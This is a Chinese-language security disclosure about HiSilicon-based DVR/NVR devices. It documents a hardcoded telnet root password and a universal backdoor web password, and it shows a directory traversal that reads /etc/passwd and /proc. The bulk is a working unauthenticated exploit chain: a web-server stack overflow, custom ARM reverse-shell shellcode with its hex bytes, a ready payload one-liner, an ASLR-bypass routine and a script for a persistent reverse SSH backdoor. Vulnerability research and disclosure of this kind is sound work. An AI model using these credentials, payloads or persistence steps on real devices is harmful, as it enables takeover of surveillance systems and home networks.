= HiSilicon DVR 破解 Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :image_width: 100%
[abstract] 本报告披露了使用海思 hi3520d 及类似片上系统(SoC)的 DVR/NVR 设备中存在的严重漏洞(含概念验证(PoC)代码)。利用这些漏洞仅通过 Web 界面即可实现未授权的远程代码执行(RCE),从而完全控制被利用的设备。由于缺乏升级固件,不建议使用这些设备。 已于 2016 年 12 月之前联系厂商,但仍未收到回复。本披露发布日期为 2017 年 2 月。
== 前言
几年前,我在 eBay 上买了一台廉价的中国 DVR 设备。设备的启动徽标写着:“SECULINK - 安全监控”。作为一名 IT 安全爱好者,我决定仔细看看该设备,看看这个安全监控服务到底有多“安全”。谷歌搜索相关话题时,我找到了一些有趣的资料,但深入挖掘后,发现了关于该设备更有趣、更严重的问题(0-day)。
让我们从头开始看看整个入侵会话。(新的、自主研发的成果会标注出来,旧的、已知的也一样。)
== 探索 DVR
首先,我们应当了解官方用户界面,然后深入挖掘,也许尝试获取固件。找到漏洞的机会随着固件的获取而增加。
=== DVR 初览
用于测试的 DVR 设备品牌为 “Seculink”。
image::./seculink_device.png[Seculink DVR device]
可用的物理接口:
官方用户界面:
直接访问的设置界面受用户认证(用户名、密码)限制。默认超级用户为 'admin',默认密码为空。
设置强密码后,用户可能会觉得自己的摄像头画面不会被他人访问。人们经常将 DVR 设备的 Web 端口(tcp/80)从其安全的 LAN 转发到 WAN 侧,以便从外部访问 DVR 视频流(我们可以通过适当的 Shodan 搜索来验证这一点 ;) )。
=== 获取固件
获取固件的方法可能有很多:
虽然后一种(下载)方法在这里有效,而且是最容易的,但让我们先尝试第一种方法,因为它还能提供有关设备的其他信息。
=== 服务扫描
让我们对 DVR 进行一次全端口扫描。注意,(默认以 root 身份运行时)SYN 扫描非常慢,因为丢包,但完整的 TCP connect 扫描在几分钟内完成。
Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam
总结和手动测试:
注意,打开 rtsp 流也需要凭据。
这里我们应该指出,该设备可能运行某种类似 Linux 的系统。
连接到 9527/tcp(通过原始 netcat)显示应用程序控制台,其中包含日志消息和一个登录提示符。使用任何已定义的应用程序凭据登录均有效。在提示符后输入 help 会给出控制台命令的简短说明。命令 shell 似乎是最有趣的。是的,它会给设备一个 root shell。;)
注意,这显然是一个严重的安全问题,因为任何(低权限的)应用程序用户都不应该自动获得设备的 root shell。
=== root shell
在 root shell 中探索设备(例如通过 dmesg)可以清楚地看到,DVR 运行的是 Linux 内核(版本 3.0.8),它有一个 ARMv7 CPU,SoC 型号是 hi3520d。
从正在运行的进程列表(ps)可以清楚地看到,DVR 应用程序是 /var/Sofia,除了 nmap 检测到的上述 tcp 端口外,它还在监听 34568/udp 和 34569/udp(netstat -nlup)。
从挂载的磁盘列表(mount 命令)可以清楚地看到,固件镜像位于 /dev/mtdblockX 设备中(其中 X=0,1,2,3,4,5)。
固件很小,因此受限,所以如果我们想向设备复制文件或从设备复制文件,就得发挥创意。幸运的是,支持 NFS,所以在我们的台式机上设置一个 NFS 服务器并从 DVR 挂载它,问题就解决了:
现在获取固件就很简单了:
我们可以得到这些文件(不仅仅是原始镜像):
=== telnet 接口
要通过 telnet 接口(端口 23/tcp)访问设备,我们可能需要一些操作系统凭据。查看 /etc/passwd,我们有 root 用户的密码哈希:
注意,除了 root 之外没有其他用户,所有内容都以完全权限运行。(因此,如果有人以某种方式闯入设备,就没有任何屏障,攻击者会立即获得全部权限。)
假设一个六位字母数字(小写)密码,hashcat 很快就能破解上述弱 DES 哈希:
$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
absxcfbgXtb3o:xc3511
Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A
因此,使用用户 root 和密码 xc3511 可以通过端口 23/tcp 上的 telnet 接口登录。这个硬编码的 root 账户可通过无法关闭的 telnet 接口访问,显然是一个后门。
这些结果在我们研究之前几乎已由其他人获得,但以下内容完全是新的。
== 固件逆向
探索固件后发现,二进制文件 /var/Sofia 是主应用程序,它实现了除视频处理和其他功能之外的所有接口。所以这个二进制文件对我们来说似乎是最有趣的。
不幸的是,它是(静态链接且)剥离的,这使得静态分析更加困难:
因此,除了静态分析(使用 radare2 或 IDA)之外,动态分析应该非常有帮助。
=== 远程 gdb
对于动态分析,将 GNU 项目调试器(GDB)附加到远程 /var/Sofia 应用程序应该是有利的。推荐的方法是在远程设备上运行(并附加)gdbserver,然后从本地机器将 gdb 连接到它。
当然,我们需要一个为合适的 ARM 架构编译的(最好是静态的)gdbserver。为了构建它,我们可以使用 https://www.uclibc.org/[µClibc],这是嵌入式系统(如我们的 DVR)推荐的 C 库。可用的构建是动态构建,这在我们的 DVR 上会有问题,所以我们应该自己制作自定义静态构建。有一个很好的构建环境叫做 https://buildroot.org/[Buildroot],它使构建工作开箱即用(使用 make menuconfig 选择所需的应用程序(例如 gdb),不要忘记选择静态库,然后运行 make)。
经过短暂的构建时间(约 10-15 分钟),所有必要的工具都应该可用。静态二进制文件可以通过前面提到的 NFS 方法传输到设备。注意,包含 Sofia 二进制文件的 /var 目录是一个 ramfs,因此它不会在重启后持久化。如果我们想(几乎)永久地传输二进制文件,包含配置文件的读写分区 /mnt/mtd 应该是一个合适的目标。如果你也构建了 openssh 包,那么 scp 将可用,这使文件传输更加容易。
现在固件已经准备好进行一些逆向。远程附加 gdbserver 现在可以工作了(通过 ps 很容易获得 Sofia 进程的 PID):
从本地机器连接:
注意,建议使用某些 GDB 扩展(如 http://gef.readthedocs.io/en/master/[GEF])。如果出于某种原因暂停应用程序不起作用(使用 C-c),向 Sofia 进程发送 TRAP 信号(通过 kill -TRAP 610)应该会使其暂停。
=== 检查认证过程
静态分析推荐的工具显然是 Hex-Ray 的 https://www.hex-rays.com/products/ida/[IDA Pro]。不幸的是,它不便宜,但比任何其他工具都好。
初始自动分析后有 15,000+ 个函数,但在 IDA 中找到认证函数只需片刻(使用简单的 Python 脚本)。下面的 https://www.hex-rays.com/products/ida/support/idapython_docs/[IDAPython] 代码片段搜索所有同时引用与 “Users” 和 “Password” 相关内容的函数:
结果只有一个函数:sub_2D857C。快速分析该函数确认这应该是认证函数。
在从配置中获取用户的密码哈希之前,有一个针对硬编码字符串的明文密码的初始检查。如果通过,则授予认证。这是应用程序中的一个丑陋的后门。通用密码是:I0TO5Wv9。
有了这个密码,我们可以以任何用户(例如 admin)的身份访问应用程序中的任何内容。例如,获取视频流:
或者在应用程序控制台(9527/tcp)上获得一个 root shell 也可以:
$ nc 192.168.88.127 9527 nc: using stream socket
认证算法中另一个有趣的结果是:在某些情况下,认证函数不仅接受密码,还接受哈希。打开 rtsp 视频流不仅可以使用密码,还可以使用存储在 /mnt/mtd/Config/Account1 中的哈希。例如,tlJwpbo6 是空密码的哈希(另见下一节),所以```
cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'
同样有效。
=== 密码哈希函数
对认证函数进行深入静态分析的另一个结果:密码哈希函数是 `sub_3DD5E4`。它基本上是 MD5 加上一些奇怪的变换。已将其逆向并用 Python 实现:
[source,python]
----
import hashlib
def sofia_hash(msg):
h = ""
m = hashlib.md5()
m.update(msg)
msg_md5 = m.digest()
for i in range(8):
n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
if n > 9:
if n > 35:
n += 61
else:
n += 55
else:
n += 0x30
h += chr(n)
return h
----
借助所实现的哈希算法,可以暴力破解密码,也可以设置任意密码。
== 内置 Web 服务器中的缓冲区溢出
Sofia 二进制程序处理 80/tcp 端口上的 HTTP 请求。让我们尝试对请求进行一些模糊测试。当然,附加 gdb(见上文)会很有帮助。实际上,我们应该杀掉 Sofia 进程并用 gdbserver 重新启动它,以便也能看到控制台输出:
----
$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia
----
在本地:
----
$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef> c
----
现在让我们看看 GET 请求。没有响应:
----
$ echo 'GET /' | nc 192.168.88.127 80
----
正常响应(即使没有正确结束和/或末尾换行):
----
$ echo -ne 'GET / HTTP' | nc 192.168.88.127 80
----
用超长请求测试溢出:
----
$ python -c 'print "GET " + "a"*1000 + " HTTP"' | nc 192.168.88.127 80
----
不错。响应是 200,包含 "404 File Not Found" 消息,但我们在 gdb 中看到了一个极好的崩溃。;)
请注意,Sofia 应用程序启用了看门狗内核模块。如果它在一分钟内没有运行,设备就会重启。一方面,如果我们在远程设备上做实验,这很好;但另一方面,如果希望顺利进行调试,这很糟糕。
看门狗一旦启动就无法关闭,所以摆脱它的唯一方法是通过重新刷写来修改只读固件。除非我们想把测试设备变砖,否则不建议这样做。;)
=== 程序流控制
为什么这次崩溃很精彩(从攻击者的角度来看)?远程进程 Sofia 触发了 SIGSEGV(段错误),栈被我们的 "a" 字符填满,但最重要的是:$pc(程序计数器)寄存器包含我们注入的值 `0x61616160`("aaaa" - 1)(可能是由 ret 触发,但原因并不重要)。这应该是经典的栈溢出,这意味着我们有机会轻松控制程序流。
经过一些实验(通过区间减半):
----
$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' | nc 192.168.88.127 80
----
这也导致 SIGSEGV,$pc 寄存器变成 `0x7a797876`(大约 "wxyz";由于字节序是小端,所以是反转的;并且由于对齐而 -1)。我们的载荷(以 "0123aaa..." 开头)位于 $sp+0x14(栈基址 + 0x14)。
=== 远程代码执行
利用这种溢出最简便有效的方式是向栈中注入一些 shellcode,并将程序流重定向到那里。这样我们就可以在目标上获得任意远程代码执行。由于设备操作系统上没有权限分离,这意味着完全控制(root shell 访问权限)。
然而,目标可能启用了(现代的)漏洞利用缓解技术,这可能使攻击者的工作更加困难。
防范栈上 shellcode 的最基本方法是 No-eXecute(NX)位技术。它可以防止在选定的内存页(通常是像栈这样具有写权限的页)上执行代码。幸运的是(从攻击者的角度来看 ;) ),没有设置 NX 位(查看 STACK 标志,rwx):
----
$ objdump -b elf32-littlearm -p Sofia
Sofia: file format elf32-littlearm
Program Header:
0x70000001 off 0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
filesz 0x000132a8 memsz 0x000132a8 flags r--
LOAD off 0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
filesz 0x005371dc memsz 0x005371dc flags r-x
LOAD off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
filesz 0x000089c8 memsz 0x000dad8c flags rw-
TLS off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
filesz 0x00000004 memsz 0x00000018 flags r--
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>
----
或者直接在 gdb gef 中使用 `checksec`。gdb gef 中的 `checksec` 还告诉我们,没有其他缓解措施存在,例如栈 canary(这很明显,因为如果存在栈 canary,我们就无法通过栈溢出控制 $pc)。
在让 RCE 工作之前,我们需要知道的唯一事情是栈地址。我们应在载荷(上面的 "wxyz")的适当位置注入地址 $sp+0x14,以便将程序流重定向到 shellcode。
还有一种缓解技术可能使这变得更加困难(或非常困难,在某些情况下几乎不可能):地址空间布局随机化(ASLR)。ASLR 会随机化内存段的基地址(例如栈的基地址)。
不走运的是,ASLR 已启用("2" 表示完全随机化,"0" 表示禁用):
----
$ cat /proc/sys/kernel/randomize_va_space
2
----
==== 无 ASLR 情况下的 RCE
让我们先在关闭 ASLR 的情况下尝试利用这个溢出。
----
$ echo 0 > /proc/sys/kernel/randomize_va_space
----
按照上述流程,在 SIGSEGV 崩溃时,栈地址($sp)为 0x5a26f3d8(并且在关闭 ASLR 的不同运行中它是相同的)。
因此载荷应该是:
----
python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
----
其中 shellcode 应该是我们想要执行的内容,最好是反弹连接 shellcode。注意,存在必须避免的“坏字符”:0x00、0x0d ('\n')、0x20 (' ')、0x26 ('&')、0x3f ('?')。此外,还有 299 字节的大小限制。Shellcode 生成器无法处理我们的坏字符列表,即使使用自动化编码器也无法解决这个问题(因为大小限制)。
因此,应该生成自定义 shellcode。这里的 shellcode 使用 socket、connect、dup2 和 execve 系统调用(或按照 ARM 世界的术语称为监督调用)提供一个反弹连接 shell。我们必须严格且富有创造力,以避免坏字符。不应使用标签,那些只是为了更易读。
[source,asm]
----
.section .text
.global _start
@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0: add r1, pc, #1
_4: bx r1
@ thumb mode instructions
_start:
.code 16
@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8: add r1, pc, #68 @ r1 <- pc+68 = 0xc+68 = 0x50
_a: ldrb r2, [r1, #2] @ r2 <- *0x52
_c: sub r2, #1 @ r2 <- r2-1
_e: strb r2, [r1, #2] @ r2 -> *0x52
@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10: mov r1, #2 @ r1 <- 2
_12: add r0, r1, #0 @ r0 <- r1 + 0 = 2
_14: mov r1, #1 @ r1 <- 1
_16: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_18: lsl r7, r1, #8 @ r7 <- r1<<8 = 1<<8 = 256
_1a: add r7, #25 @ r7 <- r7 + 25 = 281
_1c: svc 1 @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)
@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e: add r6, r0, #0 @ r6 <- r0 + 0 = &socket
_20: add r1, pc, #44 @ r1 <- pc+44 = 0x24+44 = 0x50
_22: mov r3, #2 @ r3 <- 2
_24: strh r3, [r1, #0] @ 2 -> *0x50
_26: mov r2, #16 @ r2 <- 16
_28: add r7, #2 @ r7 <- r7 + 2 = 283
_2a: svc 1 @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)
@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c: mov r7, #62 @ r7 <- 62
_2e: add r7, #1 @ r7 <- r7 + 1 = 63
_30: mov r1, #200 @ r1 <- 200
_32: add r0, r6, #0 @ r0 <- r6 + 0 = &socket
_34: svc 1 @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36: sub r1, #1 @ r1 <- r1 - 1
_38: bpl _32 @ loop until r1>0 (dup2 every fd to the socket)
@ execve('/bin/sh', NULL, NULL)
_3a: add r0, pc, #28 @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_3e: strb r2, [r0, #7] @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40: push {r0, r2} @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42: mov r1, sp @ r1 <- sp
_44: mov r7, #11 @ r7 <- 11
_46: svc 1 @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)
_48: mov r7, #1 @ r7 <- 1
_4a: add r0, r7, #0 @ r0 <- r7 + 0 = 1
_4c: svc 1 @ svc_1(r0) = exit(1)
_4e: nop
@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50: .short 0xffff
_52: .short 0x697b @ port 31377 (hex(31337+0x100) in little-endian)
_54: .byte 192,168,88,100 @ inet addr: 192.168.88.100
_58: .ascii "/bin/shX" @ 'X' will be replaced with \x00 by the shellcode
.word 0xefbeadde @ deadbeef ;)
----
编译 shellcode 并获取原始二进制字节(使用任何用于 ARM 的交叉工具都应该有效,例如使用 buildroot 在 `buildroot-2017.02.5/output/host/usr/bin/` 中构建的工具也可以):
----
$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef
----
将其与载荷一起注入应该能使漏洞利用生效,并应获得连接到远程设备的反弹 shell。
当然,首先在 `192.168.88.100` 上启动一个监听器:
----
$ nc -nvlp 31337
----
然后启动载荷:
----
$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex"); print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>
----
漏洞利用应该能成功!:) 在本地 gdb 中:
----
process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
----
并且 RCE 已在 netcat 监听器上就绪:
----
nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket
----
现在可以在远程系统上执行任意命令(以 root 身份!)。
但不幸的是,这个漏洞利用还没有准备好用于现实世界的部署,因为 ASLR 已开启,因此我们不知道 shellcode 的起始地址。目前还没有。
==== 绕过 ASLR
绕过 ASLR 并不容易,但通常可以通过一些创造力做到。通常有两种方法:
* 在随机化机制中寻找弱点,并通过暴力破解或某种部分泄漏 / 部分覆盖来攻击,
* 泄漏远程二进制文件的随机化内存地址。
现在暴力破解似乎毫无用处(触发错误地址会导致崩溃和缓慢的重启),所以只有泄漏似乎比较方便(如果我们能找到的话)。
经过长时间的研究,几乎不得不放弃,找不到任何泄漏,但后来一个想法从完全不同的方向出现了。
Web 服务器中有一个不同的漏洞,一个经典的目录遍历漏洞。事实上,它还可以用来列出目录(这也将很重要)。
目录遍历漏洞意味着:
----
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
----
而且我们还可以获取目录列表:
----
$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<H1>Index of /mnt/web/../../etc</H1>
<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>
----
请注意,这个漏洞很严重,因为攻击者可以读取任何文件,包括录制的视频(如果设备有 HDD 存储)。
此外,这个漏洞可以帮助我们绕过 ASLR。
`/proc` 文件系统在 `/proc/[pid]` 目录中包含大量关于运行中进程的信息。可以使用 `GET ../../proc` 列出 `/proc`,这样我们就能获得所有的 PID。如果 `/proc/[pid]/cmdline` 是 `/var/Sofia`,就找到了应用程序的 PID。
绕过 ASLR 最重要的信息在 `/proc/[pid]/smaps` 中。这个文件包含内存页统计信息、页地址和其他有趣的信息(例如 rss)。例如:
----
$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
/var/Sofia
$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
...
4b699000-4be98000 rwxp 00000000 00:00 0
Size: 8188 kB
Rss: 4 kB
Pss: 4 kB
Shared_Clean: 0 kB
Shared_Dirty: 0 kB
Private_Clean: 0 kB
Private_Dirty: 4 kB
Referenced: 4 kB
Anonymous: 4 kB
AnonHugePages: 0 kB
Swap: 0 kB
KernelPageSize: 4 kB
MMUPageSize: 4 kB
Locked: 0 kB
...
----
这只是一页,列表包含约 150 页。
查看上面的结构(注意页面大小、模式等),我们可以(通过实验和启发式方法)猜测哪一个包含所需线程的栈。栈相对于基地址的偏移是恒定的(为 0x7fd3d8)。
猜测内存页的代码片段:
[source,python]
----
def guessregion(smaps):
for t in range(len(smaps)-7, 1, -1):
if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and
smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
return (t+3)
return (-1)
----
其中 `smaps[t][1][0]` 是第 `t` 个完整页的大小,`smaps[t][1][1]` 是相关的 RSS。
这个代码片段是完整漏洞利用脚本的一部分,该脚本可自动攻击各种启用 ASLR 的 HiSilicon 目标。关于该脚本的简要介绍:
----
$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
[--lport LPORT] [--bhost BHOST] [--bport BPORT]
[-n] [-i] [-p] [-u] [--offset OFFSET]
[--cmdline CMDLINE]
exploit HiSilicon DVR devices
optional arguments:
-h, --help show this help message and exit
--rhost RHOST target host
--rport RPORT target port
--lhost LHOST connectback ip
--lport LPORT connectback port
--bhost BHOST listen ip to bind (default: connectback)
--bport BPORT listen port to bind (default: connectback)
-n, --nolisten do not start listener (you should care about connectback
listener on your own)
-i, --interactive select stack memory region interactively (rather than
using autodetection)
-p, --persistent make connectback shell persistent by restarting dvr app
automatically (DANGEROUS!)
-u, --upload upload tools (now hardcoded "./tools/dropbear" in script)
after pwn
--offset OFFSET exploit param stack offset to mem page base (default:
0x7fd3d8)
--cmdline CMDLINE cmdline of Sofia binary on remote target (default
"/var/Sofia")
----
=== 后渗透
我们可以用这个 RCE 做什么?一切。请记住,这是一个未授权的 RCE,仅使用 Web 服务端口 80/tcp。这个端口通常被转发到外部,因此如果攻击者利用这个 RCE,他/她就可以访问内部局域网。
我们的漏洞利用脚本有一些不错的功能,比如它可以向受害者设备上传(预先编译的)工具。
如果我们想做一个持久、稳定的后门,我们可以上传 Dropbear,让它本地监听,并打开一条到外部的反向 SSH 隧道。有了这种架构,就可以随时随地登录 DVR 设备。```
$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost
Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48
$ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
$ ln -s dropbear dropbearconvert
$ cat <<EOF > id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
...
...
-----END RSA PRIVATE KEY-----
$ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 [email protected]
----
现在可以通过反向隧道使用 SSH 访问该设备:
----
$ ssh -p2322 root@localhost
root@localhost's password:
BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
Welcome to Monitor Tech.
[root@LocalHost /]$
----
== 总结
以下是有记录的漏洞:
[cols="2,1,1,1,4",options="header",]
|=======================================================================
|漏洞 |风险 |服务 |发现者 |影响
|硬编码(后门)Telnet 密码 |高危 |23/tcp |先前由他人发现
|任何能够访问 Telnet 接口的人都可以完全控制设备,即使用户设置了合适的密码
|使用任意应用程序账户获得 root shell 访问权限 |高危 |9527/tcp |由作者
发现 |任何拥有任意应用程序账户并能访问服务控制台的人,都可以将权限提升至对设备的完全(shell)控制
|*后门应用程序密码* |严重 |80/tcp, 554/tcp |由作者发现 |任何人都可以以应用程序管理员身份访问设备,即使用户已经设置了强密码来保护设备
|*内置 Web 服务器中的缓冲区溢出* |严重 |80/tcp |由作者发现 |利用该缓冲区溢出漏洞,攻击者可以在设备上获得 root 远程代码执行权限(无需认证)、安装后门、恶意软件及其他恶意内容
|目录遍历 |高危 |80/tcp |先前由他人发现(?)以及由作者发现 |可未经授权读取设备上的所有内容(例如录制的视频流),也有助于利用缓冲区溢出漏洞
|=======================================================================
如果有人认为只有这个 "Seculink" 品牌的设备受到这些严重漏洞的影响,那就错了。受影响设备的范围非常广。所有使用这类 HiSilicon SoC 硬件构建的设备都存在漏洞。这些设备共享(几乎)相同的固件及这个名为 "Sofia" 的二进制应用程序。上述漏洞(甚至是功能完整的脚本)在大量不同硬件上几乎无需修改即可可靠利用。
以下是受影响品牌的(不完整)列表:
image::./brands_affected.png[brands affected]
http://www.vacron.com/products_CCTV_dvr.html +
http://www.gess-inc.com/gess/dvrs/ +
http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175 +
http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D +
http://optimus-cctv.ru/catalog/ahd-videoregistratory +
http://www.clearcftv.com.br/linha.php?l=5&ln=ahd +
http://click-cam.com/html2/products.php?t=2 +
http://www.ccd.dn.ua/ahd-videoregistratory.html +
http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/ +
http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr +
http://www.luxvision.com.br/category/dvr-ahd/ +
http://www.yesccd.com/?products/DigitalVideoRecorder.html +
http://www.tvzsecurity.com.br/produtos/31/Stand-Alone +
http://showtec.com.br/dv-stand-alone/ +
http://www.ecotroniccftv.com.br/index.php +
http://starligh.com/cctv/grabadoras.html +
http://www.activepixel.us/ap-0404-ahd.html +
http://j2000.ru/cat/DVR/ +
http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html +
http://kenik.pl/index.php/tag/rejestrator/ +
http://www.redebsd.com.br/categoria-25-gravacao-digital +
http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html +
http://www.visagems.com.br/prd.asp?idP=1119575 +
http://www.braskell.com.br/dvr.html +
